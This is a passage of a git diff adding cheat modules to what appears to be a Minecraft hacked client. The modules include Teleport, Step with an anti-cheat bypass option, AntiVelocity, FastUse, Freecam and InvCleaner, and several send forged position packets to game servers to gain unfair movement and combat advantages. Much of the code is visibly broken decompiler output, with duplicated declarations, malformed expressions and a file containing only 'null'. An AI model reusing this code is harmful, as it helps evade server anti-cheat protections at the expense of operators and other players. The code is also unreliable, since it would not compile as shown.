+  {
+    mc.thePlayer.stepHeight = 0.6F;
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    if (((Boolean)ncp.getValue()).booleanValue()) {
+      mc.thePlayer.stepHeight = 0.6F;
+      if ((mc.thePlayer.isCollidedHorizontally) && (mc.thePlayer.onGround) && (mc.thePlayer.isCollidedVertically) && 
+        (mc.thePlayer.isCollided) && 
+        (mc.thePlayer.isCollidedHorizontally) && (mc.thePlayer.onGround) && 
+        (mc.thePlayer.isCollidedVertically) && (mc.thePlayer.isCollided)) {
+        mc.thePlayer.setSprinting(true);
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
+          mc.thePlayer.posX, mc.thePlayer.posY + 0.42D, mc.thePlayer.posZ, 
+          mc.thePlayer.onGround));
+        mc.thePlayer.setSprinting(true);
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(
+          mc.thePlayer.posX, mc.thePlayer.posY + 0.753D, mc.thePlayer.posZ, 
+          mc.thePlayer.onGround));
+        mc.thePlayer.setSprinting(true);
+        mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.42D, 
+          mc.thePlayer.posZ);
+        mc.timer.timerSpeed = 0.5F;
+        mc.thePlayer.setSprinting(true);
+        new Thread(new Runnable()
+        {
+          public void run() {
+            try {
+              Thread.sleep(100L);
+            } catch (InterruptedException ex) {
+              ex.printStackTrace();
+            }
+            mc.timer.timerSpeed = 1.0F;
+          }
+        })
+        
+
+
+
+
+
+
+
+
+          .start();
+      }
+    }
+    else {
+      mc.thePlayer.stepHeight = 1.0F;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/movement/Teleport.java b/src/minecraft/com/enjoytheban/module/modules/movement/Teleport.java
new file mode 100644
index 0000000..cf6206f
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/movement/Teleport.java
@@ -0,0 +1,57 @@
+package com.enjoytheban.module.modules.movement;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.Vec3;
+import org.lwjgl.input.Mouse;
+
+public class Teleport extends Module
+{
+  public Teleport()
+  {
+    super("Teleport", new String[] { "teleport" }, ModuleType.Movement);
+    setColor(new Color(random.nextInt(255), random.nextInt(255), random.nextInt(255)).getRGB());
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate event) {
+    MovingObjectPosition ray = rayTrace(500.0D);
+    if (ray == null) {
+      return;
+    }
+    if (Mouse.isButtonDown(1)) {
+      double x_new = ray.func_178782_a().getX() + 0.5D;
+      double y_new = ray.func_178782_a().getY() + 1;
+      double z_new = ray.func_178782_a().getZ() + 0.5D;
+      double distance = mc.thePlayer.getDistance(x_new, y_new, z_new); for (double d = 0.0D; d < distance; d += 2.0D) {
+        setPos(mc.thePlayer.posX + (x_new - mc.thePlayer.func_174811_aO().getFrontOffsetX() - mc.thePlayer.posX) * d / distance, mc.thePlayer.posY + (y_new - mc.thePlayer.posY) * d / distance, mc.thePlayer.posZ + (z_new - mc.thePlayer.func_174811_aO().getFrontOffsetZ() - mc.thePlayer.posZ) * d / distance);
+      }
+      setPos(x_new, y_new, z_new);
+      mc.renderGlobal.loadRenderers();
+    }
+  }
+  
+  public MovingObjectPosition rayTrace(double blockReachDistance) {
+    Vec3 vec3 = mc.thePlayer.func_174824_e(1.0F);
+    Vec3 vec4 = mc.thePlayer.getLookVec();
+    Vec3 vec5 = vec3.addVector(xCoord * blockReachDistance, yCoord * blockReachDistance, 
+      zCoord * blockReachDistance);
+    return mc.theWorld.rayTraceBlocks(vec3, vec5, !mc.thePlayer.isInWater(), false, false);
+  }
+  
+  public void setPos(double x, double y, double z) {
+    mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));
+    mc.thePlayer.setPosition(x, y, z);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/AntiVelocity.java b/src/minecraft/com/enjoytheban/module/modules/player/AntiVelocity.java
new file mode 100644
index 0000000..c33fe7b
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/AntiVelocity.java
@@ -0,0 +1,49 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPacketRecieve;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.network.play.server.S12PacketEntityVelocity;
+import net.minecraft.network.play.server.S27PacketExplosion;
+
+
+
+
+
+
+
+
+public class AntiVelocity
+  extends Module
+{
+  private Numbers<Double> percentage = new Numbers("Percentage", "percentage", Double.valueOf(0.0D), Double.valueOf(0.0D), Double.valueOf(100.0D), Double.valueOf(5.0D));
+  
+  public AntiVelocity() {
+    super("Velocity", new String[] { "antivelocity", "antiknockback", "antikb" }, ModuleType.Player);
+    addValues(new Value[] { percentage });
+    setColor(new Color(191, 191, 191).getRGB());
+  }
+  
+
+
+  @EventHandler
+  private void onPacket(EventPacketRecieve e)
+  {
+    if (((e.getPacket() instanceof S12PacketEntityVelocity)) || ((e.getPacket() instanceof S27PacketExplosion)))
+    {
+      if (((Double)percentage.getValue()).equals(Double.valueOf(0.0D))) {
+        e.setCancelled(true);
+      }
+      else {
+        S12PacketEntityVelocity packet = (S12PacketEntityVelocity)e.getPacket();
+        field_149415_b = ((int)(((Double)percentage.getValue()).doubleValue() / 100.0D));
+        field_149416_c = ((int)(((Double)percentage.getValue()).doubleValue() / 100.0D));
+        field_149414_d = ((int)(((Double)percentage.getValue()).doubleValue() / 100.0D));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/AutoAccept.java b/src/minecraft/com/enjoytheban/module/modules/player/AutoAccept.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/AutoAccept.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/Bobbing.java b/src/minecraft/com/enjoytheban/module/modules/player/Bobbing.java
new file mode 100644
index 0000000..39b7c08
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/Bobbing.java
@@ -0,0 +1,31 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+
+
+public class Bobbing
+  extends Module
+{
+  private Numbers<Double> boob = new Numbers("Amount", "Amount", Double.valueOf(1.0D), Double.valueOf(0.1D), Double.valueOf(5.0D), Double.valueOf(0.5D));
+  
+  public Bobbing() {
+    super("Bobbing+", new String[] { "bobbing+" }, ModuleType.Player);
+    addValues(new Value[] { boob });
+  }
+  
+  @EventHandler
+  public void onUpdate(EventPreUpdate event) {
+    setColor(new Color(20, 200, 100).getRGB());
+    if (mc.thePlayer.onGround) {
+      mc.thePlayer.cameraYaw = ((float)(0.09090908616781235D * ((Double)boob.getValue()).doubleValue()));
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/Dab.java b/src/minecraft/com/enjoytheban/module/modules/player/Dab.java
new file mode 100644
index 0000000..5a70f1a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/Dab.java
@@ -0,0 +1,15 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.module.Module;
+import java.awt.Color;
+import java.util.Random;
+
+public class Dab extends Module
+{
+  public Dab()
+  {
+    super("Dab", new String[] { "dab" }, com.enjoytheban.module.ModuleType.Player);
+    setColor(new Color(random.nextInt(255), random.nextInt(255), random.nextInt(255)).getRGB());
+    setRemoved(false);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/FastUse.java b/src/minecraft/com/enjoytheban/module/modules/player/FastUse.java
new file mode 100644
index 0000000..3e1dcc8
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/FastUse.java
@@ -0,0 +1,71 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.module.Module;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.item.ItemBow;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.network.play.client.C03PacketPlayer.C05PacketPlayerLook;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+
+public class FastUse extends Module
+{
+  private Option<Boolean> guardian = new Option("Guardian", "guardian", Boolean.valueOf(true));
+  
+  public FastUse() {
+    super("FastUse", new String[] { "fasteat", "fuse" }, com.enjoytheban.module.ModuleType.Player);
+    addValues(new com.enjoytheban.api.value.Value[] { guardian });
+  }
+  
+  private boolean canConsume() {
+    return ((mc.thePlayer.getCurrentEquippedItem() != null) && 
+      ((mc.thePlayer.getCurrentEquippedItem().getItem() instanceof net.minecraft.item.ItemPotion))) || 
+      ((mc.thePlayer.getCurrentEquippedItem().getItem() instanceof net.minecraft.item.ItemFood));
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    setColor(new Color(100, 200, 200).getRGB());
+    if (((Boolean)guardian.getValue()).booleanValue()) {
+      if ((mc.thePlayer.onGround) && 
+        (mc.thePlayer.getItemInUseDuration() == 1) && (getMinecraftgameSettings.keyBindUseItem.pressed) && 
+        (!(mc.thePlayer.getItemInUse().getItem() instanceof ItemBow)) && 
+        (!(mc.thePlayer.getItemInUse().getItem() instanceof ItemSword))) {
+        for (int i = 0; i < 40; i++) {
+          mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C05PacketPlayerLook(
+            mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, mc.thePlayer.onGround));
+          if ((((Boolean)guardian.getValue()).booleanValue()) && 
+            (mc.thePlayer.ticksExisted % 2 == 0)) {
+            mc.thePlayer.sendQueue.addToSendQueue(new net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition(
+              mc.thePlayer.posX, mc.thePlayer.posY - 1.0D, mc.thePlayer.posZ, false));
+          }
+        }
+        
+        mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+          C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));
+      }
+      
+    }
+    else if ((mc.thePlayer.onGround) && 
+      (mc.thePlayer.getItemInUseDuration() == 16) && (getMinecraftgameSettings.keyBindUseItem.pressed) && 
+      (!(mc.thePlayer.getItemInUse().getItem() instanceof ItemBow)) && 
+      (!(mc.thePlayer.getItemInUse().getItem() instanceof ItemSword))) {
+      for (int i = 0; i < 17; i++) {
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C05PacketPlayerLook(
+          mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, mc.thePlayer.onGround));
+      }
+      mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(
+        C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/Freecam.java b/src/minecraft/com/enjoytheban/module/modules/player/Freecam.java
new file mode 100644
index 0000000..4124310
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/Freecam.java
@@ -0,0 +1,92 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.misc.EventCollideWithBlock;
+import com.enjoytheban.api.events.world.EventPacketRecieve;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityOtherPlayerMP;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+
+
+public class Freecam
+  extends Module
+{
+  private EntityOtherPlayerMP copy;
+  private double x;
+  private double y;
+  private double z;
+  
+  public Freecam()
+  {
+    super("Freecam", new String[] { "outofbody" }, ModuleType.Player);
+    setColor(new Color(221, 214, 51).getRGB());
+  }
+  
+
+
+
+  public void onEnable()
+  {
+    (this.copy = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile())).clonePlayer(mc.thePlayer, 
+      true);
+    copy.setLocationAndAngles(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, 
+      mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);
+    copy.rotationYawHead = mc.thePlayer.rotationYawHead;
+    copy.setEntityId(64199);
+    copy.setSneaking(mc.thePlayer.isSneaking());
+    mc.theWorld.addEntityToWorld(copy.getEntityId(), copy);
+    x = mc.thePlayer.posX;
+    y = mc.thePlayer.posY;
+    z = mc.thePlayer.posZ;
+  }
+  
+  @EventHandler
+  private void onPreMotion(EventPreUpdate e) {
+    mc.thePlayer.capabilities.isFlying = true;
+    mc.thePlayer.noClip = true;
+    mc.thePlayer.capabilities.setFlySpeed(0.1F);
+    e.setCancelled(true);
+  }
+  
+  @EventHandler
+  private void onPacketSend(EventPacketRecieve e)
+  {
+    if ((e.getPacket() instanceof C03PacketPlayer)) {
+      e.setCancelled(true);
+    }
+  }
+  
+  @EventHandler
+  private void onBB(EventCollideWithBlock e) {
+    e.setBoundingBox(null);
+  }
+  
+
+  public void onDisable()
+  {
+    mc.thePlayer.setSpeed(0.0D);
+    mc.thePlayer.setLocationAndAngles(copy.posX, copy.posY, copy.posZ, copy.rotationYaw, 
+      copy.rotationPitch);
+    mc.thePlayer.rotationYawHead = copy.rotationYawHead;
+    mc.theWorld.removeEntityFromWorld(copy.getEntityId());
+    mc.thePlayer.setSneaking(copy.isSneaking());
+    copy = null;
+    mc.renderGlobal.loadRenderers();
+    mc.thePlayer.setPosition(x, y, z);
+    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, 
+      mc.thePlayer.posY + 0.01D, mc.thePlayer.posZ, mc.thePlayer.onGround));
+    mc.thePlayer.capabilities.isFlying = false;
+    mc.thePlayer.noClip = false;
+    mc.theWorld.removeEntityFromWorld(-1);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/InvCleaner.java b/src/minecraft/com/enjoytheban/module/modules/player/InvCleaner.java
new file mode 100644
index 0000000..83a188e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/InvCleaner.java
@@ -0,0 +1,489 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventTick;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import com.google.common.collect.Multimap;
+import java.awt.Color;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.concurrent.CopyOnWriteArrayList;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.inventory.GuiInventory;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.Item;
+import net.minecraft.item.Item.ToolMaterial;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemAxe;
+import net.minecraft.item.ItemBow;
+import net.minecraft.item.ItemFood;
+import net.minecraft.item.ItemPickaxe;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.item.ItemTool;
+
+public class InvCleaner extends Module
+{
+  private static final Random RANDOM = new Random();
+  
+  public static List<Integer> blacklistedItems = new ArrayList();
+  
+  private boolean allowSwitch = true;
+  
+  private boolean hasNoItems;
+  public final TimerUtil timer = new TimerUtil();
+  
+  private Option<Boolean> openInv = new Option("Require Inventory Open?", "open inv", Boolean.valueOf(false));
+  
+  public InvCleaner() {
+    super("InvCleaner", new String[] { "inventorycleaner", "invclean" }, ModuleType.Player);
+    setColor(Color.BLUE.getRGB());
+    addValues(new com.enjoytheban.api.value.Value[] { openInv });
+  }
+  
+  public void onEnable() {
+    super.onEnable();
+    hasNoItems = false;
+  }
+  
+  @EventHandler
+  private void onTick(EventTick event) {
+    if (mc.thePlayer.isUsingItem())
+    {
+      return;
+    }
+    
+
+    if ((mc.thePlayer.ticksExisted % 2 == 0) && (RANDOM.nextInt(2) == 0))
+    {
+      if ((!((Boolean)openInv.getValue()).booleanValue()) || (((mc.currentScreen instanceof GuiInventory)) && (((Boolean)openInv.getValue()).booleanValue())))
+      {
+        if (timer.hasReached(59.0D))
+        {
+          CopyOnWriteArrayList<Integer> uselessItems = new CopyOnWriteArrayList();
+          
+          for (int o = 0; o < 45; o++)
+          {
+            if (mc.thePlayer.inventoryContainer.getSlot(o).getHasStack())
+            {
+              ItemStack item = mc.thePlayer.inventoryContainer.getSlot(o).getStack();
+              
+              if ((mc.thePlayer.inventory.armorItemInSlot(0) != item) && 
+                (mc.thePlayer.inventory.armorItemInSlot(1) != item) && 
+                (mc.thePlayer.inventory.armorItemInSlot(2) != item) && 
+                (mc.thePlayer.inventory.armorItemInSlot(3) != item))
+              {
+
+
+
+
+                if ((item != null) && (item.getItem() != null) && (Item.getIdFromItem(item.getItem()) != 0) && 
+                  (!stackIsUseful(o)))
+                {
+                  uselessItems.add(Integer.valueOf(o));
+                }
+                
+
+                hasNoItems = true;
+              }
+            }
+          }
+          
+
+
+
+
+
+          if (!uselessItems.isEmpty())
+          {
+            mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, ((Integer)uselessItems.get(0)).intValue(), 
+              1, 4, mc.thePlayer);
+            uselessItems.remove(0);
+            
+            timer.reset();
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  private void bestSword()
+  {
+    int slotToSwitch = 0;
+    float swordDamage = 0.0F;
+    
+    for (int i = 9; i < 45; i++)
+    {
+      if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack())
+      {
+        ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();
+        
+        if ((is.getItem() instanceof ItemSword))
+        {
+          float swordD = getItemDamage(is);
+          
+          if (swordD > swordDamage)
+          {
+            swordDamage = swordD;
+            slotToSwitch = i;
+          }
+        }
+      }
+    }
+    
+
+
+
+
+    if (allowSwitch)
+    {
+      mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slotToSwitch, 
+        mc.thePlayer.inventory.currentItem, 2, mc.thePlayer);
+      
+      allowSwitch = false;
+    }
+  }
+  
+
+
+  private boolean stackIsUseful(int i)
+  {
+    ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();
+    
+    boolean hasAlreadyOrBetter = false;
+    
+    if (((itemStack.getItem() instanceof ItemSword)) || ((itemStack.getItem() instanceof ItemPickaxe)) || 
+      ((itemStack.getItem() instanceof ItemAxe)))
+    {
+      for (int o = 0; o < 45; o++)
+      {
+        if (o != i)
+        {
+
+
+
+
+          if (mc.thePlayer.inventoryContainer.getSlot(o).getHasStack())
+          {
+            ItemStack item = mc.thePlayer.inventoryContainer.getSlot(o).getStack();
+            
+            if (((item != null) && ((item.getItem() instanceof ItemSword))) || ((item.getItem() instanceof ItemAxe)) || 
+              ((item.getItem() instanceof ItemPickaxe)))
+            {
+              float damageFound = getItemDamage(itemStack);
+              float damageCurrent = getItemDamage(item);
+              
+              damageFound += EnchantmentHelper.func_152377_a(itemStack, EnumCreatureAttribute.UNDEFINED);
+              damageCurrent += EnchantmentHelper.func_152377_a(item, EnumCreatureAttribute.UNDEFINED);
+              
+              if (damageCurrent > damageFound)
+              {
+                hasAlreadyOrBetter = true;
+                break;
+              }
+              
+            }
+            
+          }
+          
+        }
+        
+      }
+    } else if ((itemStack.getItem() instanceof ItemArmor))
+    {
+      for (int o = 0; o < 45; o++)
+      {
+        if (i != o)
+        {
+
+
+
+
+          if (mc.thePlayer.inventoryContainer.getSlot(o).getHasStack())
+          {
+            ItemStack item = mc.thePlayer.inventoryContainer.getSlot(o).getStack();
+            
+            if ((item != null) && ((item.getItem() instanceof ItemArmor)))
+            {
+              List<Integer> helmet = Arrays.asList(new Integer[] { Integer.valueOf(298), Integer.valueOf(314), Integer.valueOf(302), Integer.valueOf(306), Integer.valueOf(310) });
+              List<Integer> chestplate = Arrays.asList(new Integer[] { Integer.valueOf(299), Integer.valueOf(315), Integer.valueOf(303), Integer.valueOf(307), Integer.valueOf(311) });
+              List<Integer> leggings = Arrays.asList(new Integer[] { Integer.valueOf(300), Integer.valueOf(316), Integer.valueOf(304), Integer.valueOf(308), Integer.valueOf(312) });
+              List<Integer> boots = Arrays.asList(new Integer[] { Integer.valueOf(301), Integer.valueOf(317), Integer.valueOf(305), Integer.valueOf(309), Integer.valueOf(313) });
+              
+              if ((helmet.contains(Integer.valueOf(Item.getIdFromItem(item.getItem())))) && 
+                (helmet.contains(Integer.valueOf(Item.getIdFromItem(itemStack.getItem())))))
+              {
+
+                if (helmet.indexOf(Integer.valueOf(Item.getIdFromItem(itemStack.getItem()))) < helmet.indexOf(Integer.valueOf(Item.getIdFromItem(item.getItem()))))
+                {
+                  hasAlreadyOrBetter = true;
+                  
+                  break;
+                }
+                
+              }
+              else if ((chestplate.contains(Integer.valueOf(Item.getIdFromItem(item.getItem())))) && 
+                (chestplate.contains(Integer.valueOf(Item.getIdFromItem(itemStack.getItem())))))
+              {
+
+                if (chestplate.indexOf(Integer.valueOf(Item.getIdFromItem(itemStack.getItem()))) < chestplate.indexOf(Integer.valueOf(Item.getIdFromItem(item.getItem()))))
+                {
+                  hasAlreadyOrBetter = true;
+                  
+                  break;
+                }
+                
+              }
+              else if ((leggings.contains(Integer.valueOf(Item.getIdFromItem(item.getItem())))) && 
+                (leggings.contains(Integer.valueOf(Item.getIdFromItem(itemStack.getItem())))))
+              {
+
+                if (leggings.indexOf(Integer.valueOf(Item.getIdFromItem(itemStack.getItem()))) < leggings.indexOf(Integer.valueOf(Item.getIdFromItem(item.getItem()))))
+                {
+                  hasAlreadyOrBetter = true;
+                  
+                  break;
+                }
+                
+              }
+              else if ((boots.contains(Integer.valueOf(Item.getIdFromItem(item.getItem())))) && 
+                (boots.contains(Integer.valueOf(Item.getIdFromItem(itemStack.getItem())))))
+              {
+
+                if (boots.indexOf(Integer.valueOf(Item.getIdFromItem(itemStack.getItem()))) < boots.indexOf(Integer.valueOf(Item.getIdFromItem(item.getItem()))))
+                {
+                  hasAlreadyOrBetter = true;
+                  
+                  break;
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+    for (int o = 0; o < 45; o++)
+    {
+      if (i != o)
+      {
+
+
+
+
+        if (mc.thePlayer.inventoryContainer.getSlot(o).getHasStack())
+        {
+          ItemStack item = mc.thePlayer.inventoryContainer.getSlot(o).getStack();
+          
+          if ((item != null) && (((item.getItem() instanceof ItemSword)) || ((item.getItem() instanceof ItemAxe)) || 
+            ((item.getItem() instanceof ItemBow)) || ((item.getItem() instanceof net.minecraft.item.ItemFishingRod)) || 
+            ((item.getItem() instanceof ItemArmor)) || ((item.getItem() instanceof ItemAxe)) || 
+            ((item.getItem() instanceof ItemPickaxe)) || (Item.getIdFromItem(item.getItem()) == 346)))
+          {
+            Item found = item.getItem();
+            
+            if (Item.getIdFromItem(itemStack.getItem()) == Item.getIdFromItem(item.getItem()))
+            {
+              hasAlreadyOrBetter = true;
+              
+              break;
+            }
+          }
+        }
+      }
+    }
+    
+
+
+
+    if (Item.getIdFromItem(itemStack.getItem()) == 367) {
+      return false;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 30) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 259) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 262) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 264) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 265) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 346) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 384) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 345) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 296) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 336) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 266) {
+      return true;
+    }
+    if (Item.getIdFromItem(itemStack.getItem()) == 280) {
+      return true;
+    }
+    if (itemStack.hasDisplayName())
+    {
+      return true;
+    }
+    
+
+    if (hasAlreadyOrBetter)
+    {
+      return false;
+    }
+    
+
+    if ((itemStack.getItem() instanceof ItemArmor))
+      return true;
+    if ((itemStack.getItem() instanceof ItemAxe))
+      return true;
+    if ((itemStack.getItem() instanceof ItemBow))
+      return true;
+    if ((itemStack.getItem() instanceof ItemSword))
+      return true;
+    if ((itemStack.getItem() instanceof net.minecraft.item.ItemPotion))
+      return true;
+    if ((itemStack.getItem() instanceof net.minecraft.item.ItemFlintAndSteel))
+      return true;
+    if ((itemStack.getItem() instanceof net.minecraft.item.ItemEnderPearl))
+      return true;
+    if ((itemStack.getItem() instanceof net.minecraft.item.ItemBlock))
+      return true;
+    if ((itemStack.getItem() instanceof ItemFood))
+      return true;
+    if ((itemStack.getItem() instanceof ItemPickaxe)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+  private float getItemDamage(ItemStack itemStack)
+  {
+    Multimap multimap = itemStack.getAttributeModifiers();
+    
+    if (!multimap.isEmpty())
+    {
+      Iterator iterator = multimap.entries().iterator();
+      
+      if (iterator.hasNext())
+      {
+        Map.Entry entry = (Map.Entry)iterator.next();
+        AttributeModifier attributeModifier = (AttributeModifier)entry.getValue();
+        
+        double damage;
+        double damage;
+        if ((attributeModifier.getOperation() != 1) && (attributeModifier.getOperation() != 2))
+        {
+          damage = attributeModifier.getAmount();
+        }
+        else
+        {
+          damage = attributeModifier.getAmount() * 100.0D;
+        }
+        
+
+        if (attributeModifier.getAmount() > 1.0D)
+        {
+          return 1.0F + (float)damage;
+        }
+        
+
+        return 1.0F;
+      }
+    }
+    
+
+    return 1.0F;
+  }
+  
+
+  public boolean isValid(Item item)
+  {
+    if (blacklistedItems.contains(Integer.valueOf(Item.getIdFromItem(item))))
+    {
+      return (!((Boolean)openInv.getValue()).booleanValue()) || ((mc.currentScreen instanceof GuiInventory));
+    }
+    
+
+    return false;
+  }
+  
+
+  public void setSwordSlot()
+  {
+    float bestDamage = 1.0F;
+    
+    int bestSlot = -1;
+    
+    for (int i = 0; i < 9; i++)
+    {
+      ItemStack item = mc.thePlayer.inventory.getStackInSlot(i);
+      
+      if (stackSize > 0)
+      {
+
+
+        float damage = 0.0F;
+        
+        if ((item.getItem() instanceof ItemSword))
+        {
+          damage = ((ItemSword)item.getItem()).getAttackDamage();
+        }
+        else if ((item.getItem() instanceof ItemTool))
+        {
+          damage = getItemtoolMaterial.getDamageVsEntity();
+        }
+        if (damage > bestDamage)
+        {
+          bestDamage = damage;
+          bestSlot = i;
+        }
+      }
+    }
+    
+
+    if ((bestSlot != -1) && (bestSlot != mc.thePlayer.inventory.currentItem))
+    {
+      mc.thePlayer.inventory.currentItem = bestSlot;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/player/Invplus.java b/src/minecraft/com/enjoytheban/module/modules/player/Invplus.java
new file mode 100644
index 0000000..06c3002
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/player/Invplus.java
@@ -0,0 +1,74 @@
+package com.enjoytheban.module.modules.player;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.misc.EventInventory;
+import com.enjoytheban.api.events.rendering.EventRender2D;
+import com.enjoytheban.api.events.world.EventPacketSend;
